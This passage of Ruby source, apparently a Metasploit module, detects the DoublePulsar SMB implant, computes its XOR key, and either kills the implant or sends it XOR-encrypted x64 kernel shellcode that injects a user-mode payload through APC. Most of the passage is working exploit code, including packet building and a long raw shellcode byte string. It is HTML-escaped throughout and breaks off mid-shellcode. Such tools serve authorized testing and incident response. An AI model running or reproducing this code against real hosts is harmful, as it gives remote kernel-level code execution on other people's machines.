  # algorithm to calculate the XOR Key for DoublePulsar knocks&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  def calculate_doublepulsar_xor_key(s)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    x = (2 * s ^ (((s &amp;amp; 0xff00 | (s &amp;lt;&amp;lt; 16)) &amp;lt;&amp;lt; 8) | (((s &amp;gt;&amp;gt; 16) | s &amp;amp; 0xff0000) &amp;gt;&amp;gt; 8)))&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    x &amp;amp; 0xffffffff  # this line was added just to truncate to 32 bits&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  # The arch is adjacent to the XOR key in the SMB signature&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  def calculate_doublepulsar_arch(s)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    s == 0 ? ARCH_X86 : ARCH_X64&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  def generate_doublepulsar_timeout(op)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    k = SecureRandom.random_bytes(4).unpack1('V')&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    0xff &amp;amp; (op - ((k &amp;amp; 0xffff00) &amp;gt;&amp;gt; 16) - (0xffff &amp;amp; (k &amp;amp; 0xff00) &amp;gt;&amp;gt; 8)) | k &amp;amp; 0xffff00&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  def generate_doublepulsar_param(op, body)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    case OPCODES.key(op)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    when :ping, :kill&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      &amp;quot;\x00&amp;quot; * 12&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    when :exec&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      Rex::Text.xor([@xor_key].pack('V'), [body.length, body.length, 0].pack('V*'))&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  def check&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    ipc_share = &amp;quot;\\\\#{rhost}\\IPC$&amp;quot;&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    @tree_id = do_smb_setup_tree(ipc_share)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    vprint_good(&amp;quot;Connected to #{ipc_share} with TID = #{@tree_id}&amp;quot;)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    vprint_status(&amp;quot;Target OS is #{smb_peer_os}&amp;quot;)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    print_status('Sending ping to DOUBLEPULSAR')&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    code, signature1, signature2 = do_smb_doublepulsar_pkt&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    msg = 'Host is likely INFECTED with DoublePulsar!'&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    case calculate_doublepulsar_status(@multiplex_id, code)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    when :success&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      @xor_key = calculate_doublepulsar_xor_key(signature1)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      @arch = calculate_doublepulsar_arch(signature2)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      arch_str =&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        case @arch&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        when ARCH_X86&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
          'x86 (32-bit)'&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        when ARCH_X64&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
          'x64 (64-bit)'&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      print_warning(&amp;quot;#{msg} - Arch: #{arch_str}, XOR Key: 0x#{@xor_key.to_s(16).upcase}&amp;quot;)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      CheckCode::Vulnerable&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    when :not_detected&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      print_error('DOUBLEPULSAR not detected or disabled')&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      CheckCode::Safe&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    else&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      print_error('An unknown error occurred')&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      CheckCode::Unknown&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  def exploit&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    if datastore['DefangedMode']&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      warning = &amp;lt;&amp;lt;~EOF&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        Are you SURE you want to execute code against a nation-state implant?&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        You MAY contaminate forensic evidence if there is an investigation.&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        Disable the DefangedMode option if you have authorization to proceed.&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      EOF&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      fail_with(Failure::BadConfig, warning)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    # No ForceExploit because @tree_id and @xor_key are required&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    unless check == CheckCode::Vulnerable&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    case target.name&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    when 'Execute payload (x64)'&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      unless @xor_key&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        fail_with(Failure::NotFound, 'XOR key not found')&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      if @arch == ARCH_X86&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
        fail_with(Failure::NoTarget, 'x86 is not a supported target')&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      print_status(&amp;quot;Generating kernel shellcode with #{datastore['PAYLOAD']}&amp;quot;)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      shellcode &amp;lt;&amp;lt; rand_text(MAX_SHELLCODE_SIZE - shellcode.length)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      vprint_status(&amp;quot;Total shellcode length: #{shellcode.length} bytes&amp;quot;)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      print_status(&amp;quot;Encrypting shellcode with XOR key 0x#{@xor_key.to_s(16).upcase}&amp;quot;)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      xor_shellcode = Rex::Text.xor([@xor_key].pack('V'), shellcode)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      print_status('Sending shellcode to DOUBLEPULSAR')&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:exec], xor_shellcode)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    when 'Neutralize implant'&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      return neutralize_implant&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    case calculate_doublepulsar_status(@multiplex_id, code)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    when :success&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      print_good('Payload execution successful')&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    when :invalid_params&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      fail_with(Failure::BadConfig, 'Invalid parameters were specified')&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    when :alloc_failure&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      fail_with(Failure::PayloadFailed, 'An allocation failure occurred')&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    else&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      fail_with(Failure::Unknown, 'An unknown error occurred')&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  ensure&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    disconnect&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  def neutralize_implant&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    print_status('Neutralizing DOUBLEPULSAR')&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:kill])&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    case calculate_doublepulsar_status(@multiplex_id, code)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    when :success&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      print_good('Implant neutralization successful')&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    else&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      fail_with(Failure::Unknown, 'An unknown error occurred')&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  def do_smb_setup_tree(ipc_share)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    connect&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    # logon as user \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain'])&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    # connect to IPC$&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    simple.connect(ipc_share)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    # return tree&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    simple.shares[ipc_share]&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  def do_smb_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    # make doublepulsar knock&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    pkt = make_smb_trans2_doublepulsar(opcode, body)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    sock.put(pkt)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    bytes = sock.get_once&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    return unless bytes&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    # convert packet to response struct&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    pkt.from_s(bytes[4..-1])&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    return pkt['SMB'].v['MultiplexID'], pkt['SMB'].v['Signature1'], pkt['SMB'].v['Signature2']&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  def make_smb_trans2_doublepulsar(opcode, body)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    setup_count = 1&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    setup_data = [0x000e].pack('v')&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    param = generate_doublepulsar_param(opcode, body)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    data = param + body.to_s&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    simple.client.smb_defaults(pkt['Payload']['SMB'])&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    base_offset = pkt.to_s.length + (setup_count * 2) - 4&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    param_offset = base_offset&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    data_offset = param_offset + param.length&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    pkt['Payload']['SMB'].v['Flags1'] = 0x18&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    pkt['Payload']['SMB'].v['Flags2'] = 0xc007&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    @multiplex_id = rand(0xffff)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    pkt['Payload']['SMB'].v['TreeID'] = @tree_id&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    pkt['Payload']['SMB'].v['MultiplexID'] = @multiplex_id&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    pkt['Payload'].v['ParamCountTotal'] = param.length&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    pkt['Payload'].v['DataCountTotal'] = body.to_s.length&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    pkt['Payload'].v['ParamCountMax'] = 1&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    pkt['Payload'].v['DataCountMax'] = 0&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    pkt['Payload'].v['ParamCount'] = param.length&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    pkt['Payload'].v['ParamOffset'] = param_offset&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    pkt['Payload'].v['DataCount'] = body.to_s.length&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    pkt['Payload'].v['DataOffset'] = data_offset&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    pkt['Payload'].v['SetupCount'] = setup_count&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    pkt['Payload'].v['SetupData'] = setup_data&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    pkt['Payload'].v['Timeout'] = generate_doublepulsar_timeout(opcode)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    pkt['Payload'].v['Payload'] = data&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    pkt.to_s&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  # ring3 = user mode encoded payload&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  # proc_name = process to inject APC into&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  def make_kernel_user_payload(ring3, proc_name)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    sc = make_kernel_shellcode(proc_name)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    sc &amp;lt;&amp;lt; [ring3.length].pack('S&amp;lt;')&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    sc &amp;lt;&amp;lt; ring3&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    sc&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  def generate_process_hash(process)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    # x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    proc_hash = 0&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    process &amp;lt;&amp;lt; &amp;quot;\x00&amp;quot;&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    process.each_byte do |c|&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      proc_hash = ror(proc_hash, 13)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
      proc_hash += c&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    [proc_hash].pack('l&amp;lt;')&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  def ror(dword, bits)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    (dword &amp;gt;&amp;gt; bits | dword &amp;lt;&amp;lt; (32 - bits)) &amp;amp; 0xFFFFFFFF&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  end&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
  def make_kernel_shellcode(proc_name)&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    # see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    # Length: 780 bytes&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9&amp;quot; +&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    generate_process_hash(proc_name.upcase) +&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
    &amp;quot;\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0&amp;quot; \&amp;lt;font&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
